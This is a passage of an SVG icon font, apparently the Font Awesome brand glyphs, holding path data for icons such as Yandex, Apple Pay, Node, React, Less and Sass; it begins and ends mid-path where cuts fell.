c7.10059 0 57.7002 -50.2998 74.6006 -130.3zM141.3 405c-14.5996 -0.700195 -14 0.0996094 9.40039 11.2002c81.2002 38.2998 170 27.5996 233.899 -11.7002c-13.3994 0.599609 -43.5 5.90039 -107.399 -25.2002c-11.2002 -5.5 -20.9004 -9.7998 -21.6006 -9.7002
c-4.59961 0.900391 -66.5996 37.9004 -114.3 35.4004z" />
    <glyph glyph-name="yandex" unicode="&#xf413;" horiz-adv-x="256" 
d="M153.1 132.2l-87.3994 -196.2h-63.7002l96 209.8c-45.0996 22.9004 -75.2002 64.4004 -75.2002 141.101c-0.0996094 107.399 68 161.1 148.9 161.1h82.2998v-512h-55.0996v196.2h-45.8008zM198.9 401.5h-29.4004c-44.4004 0 -87.4004 -29.4004 -87.4004 -114.6
c0 -82.3008 39.4004 -108.801 87.4004 -108.801h29.4004v223.4z" />
    <glyph glyph-name="yandex-international" unicode="&#xf414;" horiz-adv-x="320" 
d="M129.5 -64v166.1l-111 297.9h55.7998l81.7998 -229.7l94.1006 277.7h51.2998l-120.7 -347.8v-164.2h-51.2998z" />
    <glyph glyph-name="apple-pay" unicode="&#xf415;" horiz-adv-x="640" 
d="M116.9 289.5c-7.5 -8.90039 -19.5 -15.9004 -31.5 -14.9004c-1.5 12 4.39941 24.8008 11.2998 32.6006c7.5 9.09961 20.5996 15.5996 31.2998 16.0996c1.2002 -12.3994 -3.7002 -24.7002 -11.0996 -33.7998zM127.8 272.3c6.7998 -0.5 26.2998 -2.5 38.7998 -21.0996
c-1 -0.799805 -23.1992 -13.5 -22.8994 -40.2998c0.299805 -32 28 -42.6006 28.2998 -42.9004c-0.200195 -0.799805 -4.40039 -15.0996 -14.5 -29.9004c-8.90039 -13 -18 -25.6992 -32.5 -26c-14 -0.199219 -18.7002 8.40039 -34.7998 8.40039
c-16 0 -21.2002 -8.09961 -34.5 -8.59961c-14 -0.5 -24.6006 13.7998 -33.5 26.7998c-18.2002 26.2998 -32.1006 74 -13.2998 106.3c9.09961 16.0996 25.6992 26.2002 43.5996 26.5c13.7998 0.299805 26.4004 -9.09961 34.7998 -9.09961
c8.2002 0 23.1006 10.8994 40.5 9.89941zM228.2 308.5h73.2002c37.6992 0 64.0996 -26 64.0996 -64s-26.7998 -64.2998 -65.0996 -64.2998h-41.9004v-66.6006h-30.2998v194.9zM258.5 283v-77.4004h34.7998c26.4004 0 41.4004 14.2002 41.4004 38.8008
c0 24.5996 -15 38.5996 -41.2998 38.5996h-34.9004zM420.7 112.1c-28.1006 0 -47.7002 16.8008 -47.7998 42c0 25 19 39.4004 54.0996 41.5l37.7998 2.30078v10.7998c0 15.8994 -10.3994 24.5 -28.8994 24.5c-15.2002 0 -26.3008 -7.90039 -28.6006 -19.9004h-27.2998
c0.900391 25.2002 24.7002 43.6006 56.7998 43.6006c34.6006 0 57.1006 -18.2002 57.1006 -46.3008v-97h-28v23.4004h-0.600586c-8 -15.2998 -25.5996 -24.9004 -44.5996 -24.9004zM428.9 135.2c20.5 0 36 13 36 31.2002v11l-33.6006 -2.10059
c-18.8994 -1.09961 -28.7998 -8.2002 -28.7998 -20.5c0 -11.7998 10.2998 -19.5996 26.4004 -19.5996zM531.4 60.5996c-2.30078 0 -9.80078 0.300781 -11.6006 0.700195v23.4004c1.90039 -0.200195 6.5 -0.5 8.90039 -0.5c13.3994 0 20.8994 5.7002 25.5 20.2998
l2.7998 8.59961l-51.2002 141.9h31.6006l35.5996 -115.1h0.599609l35.6006 115.1h30.7998l-53.0996 -149c-12.1006 -34.0996 -26 -45.4004 -55.5 -45.4004z" />
    <glyph glyph-name="cc-apple-pay" unicode="&#xf416;" horiz-adv-x="576" 
d="M302.2 229.6c0 -17.1992 -10.5 -27.0996 -29 -27.0996h-24.2998v54.2002h24.3994c18.4004 0 28.9004 -9.7998 28.9004 -27.1006zM349.7 167c0 8.59961 6.89941 13.5 20.2002 14.4004l23.5 1.5v-7.7002c0 -12.7998 -10.8008 -21.9004 -25.2002 -21.9004
c-11.2998 0 -18.5 5.40039 -18.5 13.7002zM576 369v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48zM127.8 250.8c8.40039 -0.700195 16.7998 4.2002 22.1006 10.4004
c5.19922 6.39941 8.59961 15 7.69922 23.7002c-7.39941 -0.300781 -16.5996 -4.90039 -21.8994 -11.3008c-4.7998 -5.5 -8.90039 -14.3994 -7.90039 -22.7998zM188.4 176.3c-0.200195 0.200195 -19.6006 7.60059 -19.8008 30c-0.199219 18.7002 15.3008 27.7002 16 28.2002
c-8.7998 13 -22.3994 14.4004 -27.0996 14.7002c-12.2002 0.700195 -22.5996 -6.90039 -28.4004 -6.90039c-5.89941 0 -14.6992 6.60059 -24.2998 6.40039c-12.5 -0.200195 -24.2002 -7.2998 -30.5 -18.6006c-13.0996 -22.5996 -3.39941 -56 9.2998 -74.3994
c6.2002 -9.10059 13.7002 -19.1006 23.5 -18.7002c9.30078 0.400391 13 6 24.2002 6c11.2998 0 14.5 -6 24.2998 -5.90039c10.2002 0.200195 16.5 9.10059 22.8008 18.2002c6.89941 10.4004 9.7998 20.4004 10 21zM323.8 229.7c0 26.5996 -18.5 44.7998 -44.8994 44.7998
h-51.2002v-136.4h21.2002v46.6006h29.2998c26.7998 0 45.5996 18.3994 45.5996 45zM413.8 206c0 19.7002 -15.7998 32.4004 -40 32.4004c-22.5 0 -39.0996 -12.9004 -39.7002 -30.5h19.1006c1.59961 8.39941 9.39941 13.8994 20 13.8994c13 0 20.2002 -6 20.2002 -17.2002
v-7.5l-26.4004 -1.59961c-24.5996 -1.5 -37.9004 -11.5996 -37.9004 -29.0996c0 -17.7002 13.7002 -29.4004 33.4004 -29.4004c13.2998 0 25.5996 6.7002 31.2002 17.4004h0.399414v-16.4004h19.6006v68h0.0996094zM516 237.1h-21.5l-24.9004 -80.5996h-0.399414
l-24.9004 80.5996h-22.2998l35.9004 -99.2998l-1.90039 -6c-3.2002 -10.2002 -8.5 -14.2002 -17.9004 -14.2002c-1.69922 0 -4.89941 0.200195 -6.19922 0.300781v-16.4004c1.19922 -0.400391 6.5 -0.5 8.09961 -0.5c20.7002 0 30.4004 7.90039 38.9004 31.7998z" />
    <glyph glyph-name="fly" unicode="&#xf417;" horiz-adv-x="384" 
d="M197.8 20.2002c12.9004 -11.7002 33.7002 -33.2998 33.2002 -50.7002c0 -0.799805 -0.0996094 -1.59961 -0.0996094 -2.5c-1.80078 -19.7998 -18.8008 -31.0996 -39.1006 -31c-25 0.0996094 -39.8994 16.7998 -38.7002 35.7998c1 16.2002 20.5 36.7002 32.4004 47.6006
c2.2998 2.09961 2.7002 2.69922 5.59961 3.59961c3.40039 0 3.90039 -0.299805 6.7002 -2.7998zM331.9 380.7c23.8994 -40 27.7998 -73.2998 20.7998 -112.5c-15.2002 -69.9004 -103.601 -166.5 -155.9 -215.7c-1.7002 -1.59961 -1.39941 -1.40039 -3.5 -2.09961
l-3.2998 0.0996094c-1.7002 0.599609 -4.5 3.5 -6.2002 5.09961c-58.7998 57.8008 -148.7 151.601 -155.8 233.801c-1.5 71.3994 29.2998 113.399 82.9004 141.3c9.89941 4.09961 37 17.2998 81.0996 17.2998c22 0.200195 51.0996 -4.5 76.5996 -15.2002
c24.7002 -11.5 47 -26.3994 63.3008 -52.0996zM186.8 96.0996v325.7c-57.8994 -5.5 -72.7002 -89.2002 -69.2998 -136.7c4.09961 -58.2998 41.2998 -137.899 69.2998 -189zM328.7 268c15.7998 54.9004 -10.9004 134.7 -99.7002 153
c38.2002 -25.5996 49.5996 -85.5 48 -131.4c-2 -58.5996 -39.4004 -140 -67.2002 -191.899c41.6006 42.2998 102.5 113.5 118.9 170.3z" />
    <glyph glyph-name="node" unicode="&#xf419;" horiz-adv-x="640" 
d="M316.3 -4c-2.09961 0 -4.2002 0.599609 -6.09961 1.59961l-19.2002 11.4004c-2.90039 1.59961 -1.5 2.2002 -0.5 2.5c3.7998 1.2998 4.59961 1.59961 8.7002 4c0.399414 0.200195 1 0.0996094 1.39941 -0.0996094l14.8008 -8.80078
c0.5 -0.299805 1.2998 -0.299805 1.7998 0l57.7998 33.4004c0.5 0.299805 0.900391 0.900391 0.900391 1.59961v66.7002c0 0.700195 -0.300781 1.2998 -0.900391 1.60059l-57.7998 33.2998c-0.5 0.299805 -1.2002 0.299805 -1.7998 0l-57.8008 -33.2998
c-0.599609 -0.300781 -0.899414 -1 -0.899414 -1.60059v-66.7002c0 -0.599609 0.399414 -1.19922 0.899414 -1.5l15.8008 -9.09961c8.59961 -4.2998 13.8994 0.799805 13.8994 5.7998v65.9004c0 0.899414 0.700195 1.7002 1.7002 1.7002h7.2998
c0.900391 0 1.7002 -0.700195 1.7002 -1.7002v-65.9004c0 -11.5 -6.2002 -18 -17.0996 -18c-3.30078 0 -6 0 -13.3008 3.60059l-15.1992 8.69922c-3.7002 2.2002 -6.10059 6.2002 -6.10059 10.5v66.7002c0 4.2998 2.2998 8.40039 6.10059 10.5l57.7998 33.4004
c3.7002 2.09961 8.5 2.09961 12.0996 0l57.7998 -33.4004c3.7002 -2.2002 6.10059 -6.2002 6.10059 -10.5v-66.7002c0 -4.2998 -2.2998 -8.39941 -6.10059 -10.5l-57.7998 -33.3994c-1.7002 -1.10059 -3.7998 -1.7002 -6 -1.7002zM363 61.7998
c0 -12.5996 -10.5 -19.7998 -29 -19.7998c-25.2998 0 -30.5996 11.5996 -30.5996 21.2998c0 1 0.799805 1.7002 1.69922 1.7002h7.5c0.900391 0 1.60059 -0.599609 1.7002 -1.40039c1.10059 -7.59961 4.5 -11.3994 19.7998 -11.3994
c12.2002 0 17.4004 2.7002 17.4004 9.2002c0 3.69922 -1.5 6.39941 -20.4004 8.2998c-15.7998 1.59961 -25.5996 5 -25.5996 17.7002c0 11.5996 9.7998 18.5996 26.2998 18.5996c18.5 0 27.6006 -6.40039 28.7998 -20.2002
c0.100586 -0.5 -0.0996094 -0.899414 -0.399414 -1.2998c-0.299805 -0.299805 -0.700195 -0.5 -1.2002 -0.5h-7.5c-0.799805 0 -1.40039 0.5 -1.59961 1.2998c-1.80078 8 -6.2002 10.6006 -18.1006 10.6006c-13.2998 0 -14.7998 -4.60059 -14.7998 -8.10059
c0 -4.2002 1.7998 -5.39941 19.7998 -7.7998c17.7998 -2.40039 26.2002 -5.7002 26.2002 -18.2002zM417.5 111.9c0 -6.10059 -5 -11.1006 -11.0996 -11.1006c-6.10059 0 -11.1006 5 -11.1006 11.1006c0 6.2998 5.2002 11.0996 11.1006 11.0996
c6 0.0996094 11.0996 -4.7998 11.0996 -11.0996zM415.7 111.9c0 5.19922 -4.2002 9.2998 -9.40039 9.2998c-5.09961 0 -9.2998 -4.10059 -9.2998 -9.2998c0 -5.2002 4.2002 -9.40039 9.2998 -9.40039c5.2002 0.0996094 9.40039 4.2998 9.40039 9.40039zM411.2 105.7
h-2.60059c-0.0996094 0.599609 -0.5 3.7998 -0.5 3.89941c-0.199219 0.700195 -0.399414 1.10059 -1.2998 1.10059h-2.2002v-5h-2.39941v12.5h4.2998c1.5 0 4.40039 0 4.40039 -3.2998c0 -2.30078 -1.5 -2.80078 -2.40039 -3.10059
c1.7002 -0.0996094 1.7998 -1.2002 2.09961 -2.7998c0.100586 -1 0.300781 -2.7002 0.600586 -3.2998zM408.4 114.5c0 1.7002 -1.2002 1.7002 -1.80078 1.7002h-2v-3.5h1.90039c1.59961 0 1.90039 1.09961 1.90039 1.7998zM137.3 257l-0.200195 -95
c0 -1.2998 -0.699219 -2.59961 -1.7998 -3.2002c-1.09961 -0.700195 -2.59961 -0.700195 -3.7002 0l-36.3994 20.9004c-2.2998 1.2998 -3.7002 3.7998 -3.7002 6.39941v44.4004c0 2.59961 -1.40039 5.09961 -3.7002 6.40039l-15.5 8.89941
c-1.09961 0.700195 -2.39941 1 -3.7002 1c-1.2998 0 -2.5 -0.299805 -3.69922 -1l-15.5 -8.89941c-2.30078 -1.30078 -3.7002 -3.80078 -3.7002 -6.40039v-44.4004c0 -2.59961 -1.40039 -5 -3.7002 -6.39941l-36.4004 -20.9004
c-1.19922 -0.700195 -2.59961 -0.700195 -3.69922 0c-1.10059 0.700195 -1.80078 1.90039 -1.80078 3.2002l-0.0996094 95c0 2.59961 1.40039 5.09961 3.7002 6.40039l61.2002 35.2998c1.09961 0.599609 2.19922 1 3.39941 1h0.600586
c1.19922 -0.100586 2.39941 -0.400391 3.39941 -1l61.2998 -35.2998c2.30078 -1.30078 3.7002 -3.7002 3.7002 -6.40039zM472.5 360.7v-176.4c0 -2.59961 -1.40039 -5.09961 -3.7002 -6.39941l-61.2998 -35.4004c-2.2998 -1.2998 -5.09961 -1.2998 -7.40039 0
l-61.2998 35.4004c-2.2998 1.2998 -3.7002 3.7998 -3.7002 6.39941v70.7998c0 2.60059 1.40039 5.10059 3.7002 6.40039l61.2998 35.4004c2.30078 1.2998 5.10059 1.2998 7.40039 0l15.2998 -8.80078c1.7002 -1 3.90039 0.300781 3.90039 2.2002v94
c0 2.7998 3 4.60059 5.5 3.2002l36.5 -20.4004c2.2998 -1.19922 3.7998 -3.69922 3.7998 -6.39941zM426.5 231.8c0 0.700195 -0.400391 1.2998 -0.900391 1.60059l-21 12.1992c-0.599609 0.300781 -1.2998 0.300781 -1.89941 0l-21 -12.1992
c-0.600586 -0.300781 -0.900391 -0.900391 -0.900391 -1.60059v-24.2998c0 -0.700195 0.400391 -1.2998 0.900391 -1.59961l21 -12.1006c0.599609 -0.299805 1.2998 -0.299805 1.7998 0l21 12.1006c0.599609 0.299805 0.900391 0.899414 0.900391 1.59961v24.2998h0.0996094
zM636.3 232.5l-36.7002 -21.2998c-2.5 -1.40039 -5.59961 0.399414 -5.59961 3.2002v17.3994c0 1.2998 -0.799805 2.5 -1.90039 3.2002l-19.1992 11.0996c-1.10059 0.700195 -2.60059 0.700195 -3.7002 0l-19.2002 -11.0996
c-1.2002 -0.700195 -1.90039 -1.90039 -1.90039 -3.2002v-22.2002c0 -1.2998 0.700195 -2.5 1.90039 -3.19922l61.7002 -35.4004c2.5 -1.40039 2.5 -5 0 -6.40039l-36.7998 -20.5c-2.30078 -1.2998 -5.10059 -1.2998 -7.30078 0l-60.8994 34.7002
c-2.2998 1.2998 -3.7002 3.7002 -3.7002 6.40039v70.7998c0 2.59961 1.40039 5.09961 3.7002 6.40039l61.2998 35.3994c2.2998 1.2998 5.09961 1.2998 7.40039 0l60.8994 -35.3994c2.2998 -1.30078 3.7002 -3.80078 3.7002 -6.40039v-17.0996
c0 -2.60059 -1.40039 -5.10059 -3.7002 -6.40039zM559 229l11.7998 6.7998c0.400391 0.299805 1 0.299805 1.40039 0l11.7998 -6.7998c0.400391 -0.200195 0.700195 -0.700195 0.700195 -1.2002v-13.5996c0 -0.5 -0.299805 -0.900391 -0.700195 -1.2002l-11.7998 -6.7998
c-0.400391 -0.299805 -1 -0.299805 -1.40039 0l-11.7998 6.7998c-0.400391 0.200195 -0.700195 0.700195 -0.700195 1.2002v13.5996c0 0.5 0.299805 0.900391 0.700195 1.2002zM304.8 185.5c0 -0.599609 -0.0996094 -1.2002 -0.200195 -1.7002
c-0.5 -2 -1.7998 -3.7002 -3.59961 -4.7002l-61 -35.1992c-2.2002 -1.30078 -5 -1.40039 -7.40039 0l-61.1992 35.1992c-2.10059 1.2002 -4 3.60059 -4 6.40039v70.4004c0 2.69922 1.59961 5.09961 3.89941 6.39941l61.1006 35.2002
c2.39941 1.40039 5.2998 1.2002 7.39941 0l61.1006 -35.2002c2.2998 -1.2998 3.89941 -3.7998 3.89941 -6.39941v-70.4004zM230.5 310.4l-0.799805 -0.5h1.09961zM306.7 180.2l-0.400391 0.700195v-0.900391z" />
    <glyph glyph-name="osi" unicode="&#xf41a;" horiz-adv-x="512" 
d="M8 181.56c2.2998 135.801 97.3994 232.441 213.799 248.102c138.8 18.5996 255.601 -75.7998 278 -201.101c21.2998 -118.8 -44 -230 -151.6 -274c-9.2998 -3.7998 -14.4004 -1.69922 -18 7.7002c-17.7998 46.2998 -35.5996 92.6328 -53.3994 138.999
c-3.09961 8.10059 -1 13.2002 7 16.7998c24.2002 11 39.2998 29.4004 43.2998 55.8008c0.469727 3.01562 0.850586 7.94043 0.850586 10.9922c0 36.2061 -29.2764 68.1074 -65.3506 71.207c-39 3.40039 -71.7998 -23.6992 -77.5 -59.6992
c-5.19922 -33 11.1006 -63.7002 41.9004 -77.7002c9.59961 -4.40039 11.5 -8.60059 7.7998 -18.4004c-17.8994 -46.5996 -35.7998 -93.2324 -53.7002 -139.899c-2.59961 -6.90039 -8.2998 -9.30078 -15.5 -6.5c-52.5996 20.2998 -101.399 61 -130.8 119
c-24.8994 49.1992 -25.2002 87.6992 -26.7998 108.699zM28.8994 183.461c0.399414 -6.59961 0.599609 -14.3008 1.2998 -22.1006c6.2998 -71.9004 49.5996 -143.5 131 -183.101c3.2002 -1.5 4.39941 -0.799805 5.59961 2.2998c14.9004 39.1006 29.9004 78.2012 45 117.302
c1.2998 3.2998 0.600586 4.7998 -2.39941 6.69922c-31.6006 19.9004 -47.3008 48.5 -45.6006 86c1 21.6006 9.2998 40.5 23.7998 56.3008c30 32.6992 77 39.7998 115.5 17.5996c25.3174 -14.5977 45.8643 -50.1641 45.8643 -79.3877
c0 -3.05078 -0.296875 -7.98438 -0.664062 -11.0127c-3.59961 -30.5996 -19.2998 -53.8994 -45.7002 -69.7998c-2.69922 -1.59961 -3.5 -2.89941 -2.2998 -6c15.2002 -39.2002 30.2666 -78.4336 45.2002 -117.7c1.2002 -3.09961 2.40039 -3.7998 5.59961 -2.2998
c35.5 16.6006 65.2002 40.2998 88.1006 72c34.7998 48.2002 49.0996 101.9 42.2998 161c-13.7002 117.5 -119.4 214.8 -255.5 198c-106.1 -13 -195.3 -102.5 -197.1 -225.8z" />
    <glyph glyph-name="react" unicode="&#xf41b;" horiz-adv-x="512" 
d="M418.2 270.8c54.3994 -18.7002 93.7998 -48.0996 93.7998 -78.3994c0 -31.7002 -41.7998 -62.6006 -99.5 -81.7002c-3.09961 -1 -6.2002 -2 -9.40039 -2.90039c1.10059 -4.59961 2.10059 -9.09961 3 -13.5c11.4004 -57.5996 2.60059 -104.899 -24.3994 -120.5
c-26.1006 -15.0996 -68.4004 -0.200195 -111.2 36.6006c-4.59961 4 -9.2002 8.09961 -13.5996 12.3994c-3.5 -3.39941 -7 -6.59961 -10.5 -9.7002c-44.2002 -38.6992 -89.6006 -54.6992 -116.601 -39.0996c-26.2002 15.0996 -34.3994 59.0996 -23.8994 114.6
c1.19922 6.10059 2.5 12 4 18c-4.60059 1.30078 -9.10059 2.80078 -13.6006 4.30078c-55.5 19 -96.2998 50.2998 -96.2998 81.5c0 30.1992 38.2998 59.3994 91.7002 77.8994c5.89941 2.10059 12.2002 4.10059 18.5996 5.90039
c-1.39941 5.59961 -2.59961 11.0996 -3.7002 16.7002c-11 56.3994 -3.19922 101.5 23 116.699c27.3008 15.9004 72.9004 -1.09961 118.4 -41.5c2.7998 -2.5 5.59961 -5.09961 8.2998 -7.69922c4 3.89941 8.2002 7.7998 12.5 11.5
c43.4004 37.7998 86.2998 53.5 112.601 38.3994c27.2998 -15.7998 35.3994 -63.7002 23.0996 -123.3c-0.799805 -3.7002 -1.59961 -7.40039 -2.5 -11.0996c5.40039 -1.60059 10.7998 -3.30078 16.2002 -5.10059zM282.9 355.7c-4 -3.5 -7.80078 -7 -11.7002 -10.7002
c15.3994 -16.7002 29.5996 -34.5 42.5996 -53.0996c22.6006 -2 45.1006 -5.60059 67.2998 -10.6006c0.900391 3.2998 1.60059 6.60059 2.30078 10c10.5996 51.5 4.09961 90.7002 -12.8008 100.4c-15.7998 9.09961 -50.5 -3.60059 -87.6992 -36zM167.2 140.5
c-5 8.59961 -9.7002 17.2998 -14.2998 26.0996c-6.40039 -15.1992 -11.9004 -30.0996 -16.3008 -44.5c15.3008 -3.2998 30.8008 -5.7998 46.4004 -7.5c-5.5 8.5 -10.7002 17.2002 -15.7998 25.9004zM136.9 260.8c4.39941 -14.0996 9.69922 -28.7002 16 -43.5996
c4.5 8.7998 9.2998 17.5 14.1992 26c4.90039 8.59961 10.1006 17.0996 15.4004 25.3994c-15.9004 -2 -31.2002 -4.59961 -45.5996 -7.7998zM164.3 191.9c6.7002 -13.8008 13.7998 -27.3008 21.5 -40.6006s15.9004 -26.2998 24.6006 -39
c14.6992 -0.899414 29.8994 -1.39941 45.5996 -1.39941s31.2002 0.5 46.0996 1.59961c8.5 12.7998 16.6006 25.7002 24.2002 39c7.7002 13.4004 14.9004 27 21.6006 40.7998c-6.80078 13.7002 -14 27.2002 -21.7002 40.4004s-15.7998 26.0996 -24.2998 38.7002
c-14.9004 1.09961 -30.3008 1.69922 -45.9004 1.69922s-30.9004 -0.599609 -45.9004 -1.69922c-8.59961 -12.7002 -16.7998 -25.6006 -24.3994 -38.9004c-7.60059 -13.2998 -14.7998 -26.7998 -21.4004 -40.5996zM344.9 140.7c-5 -8.60059 -10.1006 -17.2002 -15.5 -25.6006
c15.7998 1.80078 31.5 4.5 47 8c-4.90039 15.1006 -10.5 29.8008 -16.9004 44.3008c-4.7002 -9 -9.5 -17.9004 -14.5996 -26.7002zM359.3 217.2c6.10059 14.2002 11.5 28.5996 16.1006 43.3994c-14.4004 3.30078 -29.8008 6 -45.9004 8
c5.2998 -8.2998 10.4004 -16.6992 15.2998 -25.1992c5 -8.60059 9.7998 -17.4004 14.5 -26.2002zM256.2 329.7c-10 -10.9004 -20.1006 -22.9004 -29.9004 -35.7998c19.7998 0.899414 39.7002 0.899414 59.5 0c-9.2002 12.3994 -19.0996 24.3994 -29.5996 35.7998zM140.2 391
c-15.7998 -9.09961 -22 -45.5996 -12.6006 -94c1.10059 -5.2002 2.2002 -10.4004 3.5 -15.5c22.2002 4.90039 44.6006 8.40039 67.2002 10.4004c13.1006 18.5996 27.4004 36.3994 42.9004 53.0996c-2.60059 2.40039 -5.10059 4.7998 -7.60059 7
c-39.2998 34.7998 -76.5996 48.7998 -93.3994 39zM115.7 127.4c6.89941 22 15.2002 43.5996 24.7998 64.5c-9.5 20.5996 -17.7002 41.8994 -24.5 63.5996c-5.7998 -1.7002 -11.5996 -3.5 -17.2998 -5.5c-45.6006 -15.9004 -77.2002 -39.2998 -77.2002 -57.5996
c1.90039 -12.1006 8.7002 -22.9004 18.7998 -29.9004c17.5 -13.9004 41.7002 -24.5 63 -31.2002c4.10059 -1.39941 8.2002 -2.7002 12.4004 -3.89941zM232.3 29.4004c3.2002 2.7998 6.40039 5.7998 9.60059 8.89941c-15.5 16.7998 -30 34.7002 -43.2002 53.4004
c-22.9004 1.7002 -45.5 5 -67.9004 9.7998c-1.39941 -5.5 -2.59961 -11.0996 -3.7002 -16.7002c-9 -47.5 -2.39941 -82.7998 13.5 -92c11.4004 -4.5 24.2002 -4 35.3008 1.2998c20.7998 8.2002 39.8994 20.2002 56.3994 35.3008zM256.8 53.7002
c10.5 11.5996 20.4004 23.7002 29.6006 36.3994c-10 -0.5 -20.1006 -0.699219 -30.4004 -0.699219c-10 0 -19.9004 0.199219 -29.5 0.599609c9.90039 -13.0996 20.0996 -25.2998 30.2998 -36.2998zM387.5 23.7002c3.2002 22.2002 2.40039 44.7002 -2.5 66.2998
c-0.799805 4 -1.7002 8.09961 -2.7002 12.2002c-22.5 -5.10059 -45.2998 -8.60059 -68.2002 -10.5c-12.7998 -18.7998 -26.8994 -36.7002 -42.1992 -53.6006c4.2998 -4 8.5 -7.89941 12.6992 -11.5c36.6006 -31.3994 70.5 -43.3994 86.4004 -34.1992
c9.59961 7.69922 15.5996 19.0996 16.5 31.2998zM405.7 131.2c49.8994 16.5 84.7998 41.7998 84.7998 61.3994c0 18.2002 -32.7002 42 -79.2998 58c-4.7998 1.60059 -9.7998 3.2002 -15 4.7002c-6.7998 -21.5 -14.9004 -42.5 -24.5 -62.8994
c9.89941 -20.7002 18.5 -42 25.5 -63.8008c2.89941 0.800781 5.7002 1.7002 8.5 2.60059zM256 146.2c-25.2998 0 -45.7998 20.5 -45.7998 45.7998s20.5 45.7998 45.7998 45.7998s45.7998 -20.5 45.7998 -45.7998s-20.5 -45.7998 -45.7998 -45.7998z" />
    <glyph glyph-name="autoprefixer" unicode="&#xf41c;" horiz-adv-x="640" 
d="M318.4 432l164.1 -480h-77.5l-25.2002 81.4004h-119.5l-25.3994 -81.4004h-77.5zM278.1 90.0996h83.6006l-40.9004 130.4h-1.5zM640 43l-158.5 -9.5l-19.4004 56.5l167.9 -15.5996zM177.9 90l-19.4004 -56.4004l-158.5 9.40039l10 31.2998z" />
    <glyph glyph-name="less" unicode="&#xf41d;" horiz-adv-x="640" 
d="M612.7 229c0 -11 6.7998 -22.5996 27.2998 -23.2998v-27.2998c-20.5 -1 -27.2998 -12.6006 -27.2998 -23.6006c0 -20.3994 3.2002 -32 3.2002 -54.5996c0 -34.2002 -12.7002 -45.2002 -40.5 -45.2002h-20.5v25.2002h6.2998v0.5c13.5996 0 17.2998 4.7002 17.2998 22.5996
c0 17.2998 -1.59961 32.6006 -1.59961 51.5c0 24.2002 7.7998 33.6006 23.5996 37.2998v1.60059c-15.7002 3.7002 -23.5996 13.0996 -23.5996 37.2998c0 18.9004 1.59961 35.2002 1.59961 51.5c0 17.4004 -3.09961 22.0996 -17.2998 22.0996h-6.2998v24.2002h20.5
c27.8994 0 40.5 -11 40.5 -45.2002c0 -22 -3.2002 -34.0996 -3.2002 -54.5996zM507.1 197c20.5 -6.7998 43 -18.9004 43 -47.7998c0 -28.9004 -22.5996 -51 -64.5996 -51c-20 0 -44.0996 9 -59.9004 22.0996l21 30.5c14.2002 -11 27.4004 -16.2998 40.5 -16.2998
c14.2002 0 20.5 5.2002 20.5 13.0996c0 10.5 -15.7998 15.8008 -32.0996 22.1006c-18.9004 7.2998 -41.5 20.5 -41.5 46.2002c0 28.8994 24.2002 49.3994 59.9004 49.3994c24.1992 0 42.0996 -10.5 55.1992 -20.5l-21 -27.7998c-11.5 8.40039 -22 13.0996 -33.5996 13.0996
s-17.9004 -4.69922 -17.9004 -12.5996c0 -10.5 14.7002 -14.2002 30.5 -20.5zM148.2 137.6c1.59961 0 3.09961 0 6.2002 0.800781l5.2998 -34.2002c-5.7002 -2.10059 -13.6006 -3.7002 -23.6006 -3.7002c-32.0996 0 -43.0996 21 -43.0996 53.0996v150.801h-14.0996
c-13.6006 0 -17.3008 -4.80078 -17.3008 -22.1006s1.60059 -32.5996 1.60059 -51.5c0 -24.2002 -7.7998 -33.5996 -23.6006 -37.2998v-1.59961c15.7002 -3.7002 23.6006 -13.1006 23.6006 -37.3008c0 -19.3994 -1.60059 -34.1992 -1.60059 -51.5
c0 -17.2998 4.2002 -22.5996 17.3008 -22.5996h6.2998v-24.2002h-20.5c-27.9004 0 -40.5 11 -40.5 45.2002c0 22.5996 3.2002 34.2002 3.2002 53.5996c0 11 -6.80078 22.6006 -27.3008 23.1006v27.2998c20.5 1 27.3008 12.5996 27.3008 23.5996
c0 19.4004 -3.2002 32 -3.2002 54.6006c0 34.2002 12.5996 45.2002 41 45.2002h74.5996v-178.2c0 -9.90039 4.7002 -13.1006 8.40039 -13.1006zM379.9 197c20.5 -6.7998 43.0996 -18.9004 43 -47.7998c0 -28.9004 -22.6006 -51 -64.6006 -51
c-20 0 -44.0996 9 -59.8994 22.0996l20.5 30.5c14.1992 -11 27.3994 -16.2998 40.5 -16.2998c14.1992 0 20.5 5.2002 20.5 13.0996c0 10.5 -15.8008 15.8008 -32.1006 22.1006c-18.8994 7.2998 -41.5 20.5 -41.5 46.2002c0 28.8994 24.2002 49.3994 59.9004 49.3994
c24.2002 0 42.0996 -10.5 55.2002 -20.5l-21 -27.7998c-11.5 8.40039 -22 13.0996 -33.6006 13.0996c-11.5996 0 -17.8994 -4.69922 -17.8994 -12.5996c0 -10.5 14.6992 -14.2002 31 -20.5zM224.9 265.8c44.0996 0 67.2998 -33.0996 66.6992 -75.7002
c0 -8.39941 -1.09961 -15.6992 -1.59961 -19.3994h-95.2002c4.2002 -24.2002 20.5 -34.2002 41.5 -34.2002c11.6006 0 22.6006 3.2002 34.2002 10l15.7998 -27.7998c-16.2998 -11.1006 -37.2998 -17.9004 -56.2002 -17.9004c-45.0996 0 -79.2998 30.5 -79.2998 82.5
c-1 50.4004 35.7002 82.5 74.1006 82.5zM194.9 199.6h56.7998c0 17.9004 -7.40039 31 -26.2998 31c-14.7002 0 -27.3008 -10 -30.5 -31z" />
    <glyph glyph-name="sass" unicode="&#xf41e;" horiz-adv-x="640" 
d="M301.84 69.0801c-0.299805 -0.599609 -0.599609 -1.08008 0 0zM550.97 156.08c57.9092 0.300781 90.5703 -37.0801 88.9707 -71.0801c-1.10059 -26.9004 -25.6904 -37.9004 -30.29 -38.7002c-3.30078 -0.599609 -5.10059 -0.700195 -5.60059 1.90039
c-0.299805 1.7998 0.900391 2.7002 4.7998 5.09961c3.90039 2.40039 15.6006 10.5 17.7002 25c2.10059 14.5 -8.7998 49.2998 -64.4795 55.7998c-26 3 -46.3906 -0.599609 -62.0898 -7.19922c2.89941 -7.60059 5.09961 -15.5 5.39941 -23.4004
c0.799805 -17.5 -11.29 -30.4004 -23.79 -39.5996c-5.48535 -3.98535 -15.1572 -8.95801 -21.5898 -11.1006c-5.2002 -2.2002 -12.2002 -4.5 -17.0996 -3.5c-10.9004 2.2002 -16.7002 11.7998 -9.30078 33.1006c4 11.5 15.5 29 34.0908 44.0996
